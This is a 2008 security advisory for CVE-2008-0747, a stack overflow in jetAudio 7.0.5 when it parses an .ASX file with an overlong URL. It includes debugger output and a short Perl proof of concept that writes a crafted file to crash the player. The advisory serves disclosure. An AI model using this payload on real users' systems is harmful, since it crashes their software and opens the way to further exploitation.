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SecurityAlert : 3642 CVE : CVE-2008-0747 SecurityRisk : Low  (About) Remote Exploit : Yes Local Exploit : No Exploit Available : Yes Credit : laurent gaffié Published : 13.02.2008
Advisory Content : Application: jetAudio 7.0.5 (.ASX) Remote Stack Overflow Web Site: http://www.cowonamerica.com/download/ Platform: Windows Bug:Remote Stack Overflow Extension: ASX special condition: none ------------------------------------------------------- 1) Introduction 2) Bug 3) Proof of concept 4) Credits =========== 1) Introduction =========== A nice introduction to jetaudio can be found : http://www.cowonamerica.com/products/jetaudio/ ====== 2) Bug ====== When parsing an asx file with a long URL a stack overflow occurs. ===== 3)Proof of concept ===== Proof of concept example : An url with 1096 A ( http://AAAAA....) will overwritte ESI and crash the program Here's the debugger output: Access violation - code c0000005 eax=00000000 ebx=01187684 ecx=00000459 edx=0012d39c esi=41414141 edi=00000001 eip=00441dad esp=0012cf3c ebp=00000001 iopl=0 nv up ei pl nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206 JetAudio!CxImage::`copy constructor closure'+0x1109d: 00441dad 8b06 mov eax,[esi] ds:0023:41414141=???????? Here's the the Poc : #!/usr/local/bin/perl use strict; use warnings; my $file="myfile.asx"; my $payload = "A" x 1096; open( $FILE, ">>$file") or die "Cannot open $file: $!"; print $FILE "http://".$payload; close($FILE); print "$file has been created n"; ===== 5)Credits ===== laurent gaffié laurent.gaffie{remove_this}[at]gmail[dot]com  Feedback : If you have additional information or notice any errors regarding this security advisory, please use contact form or email us at info()securityreason()com. |
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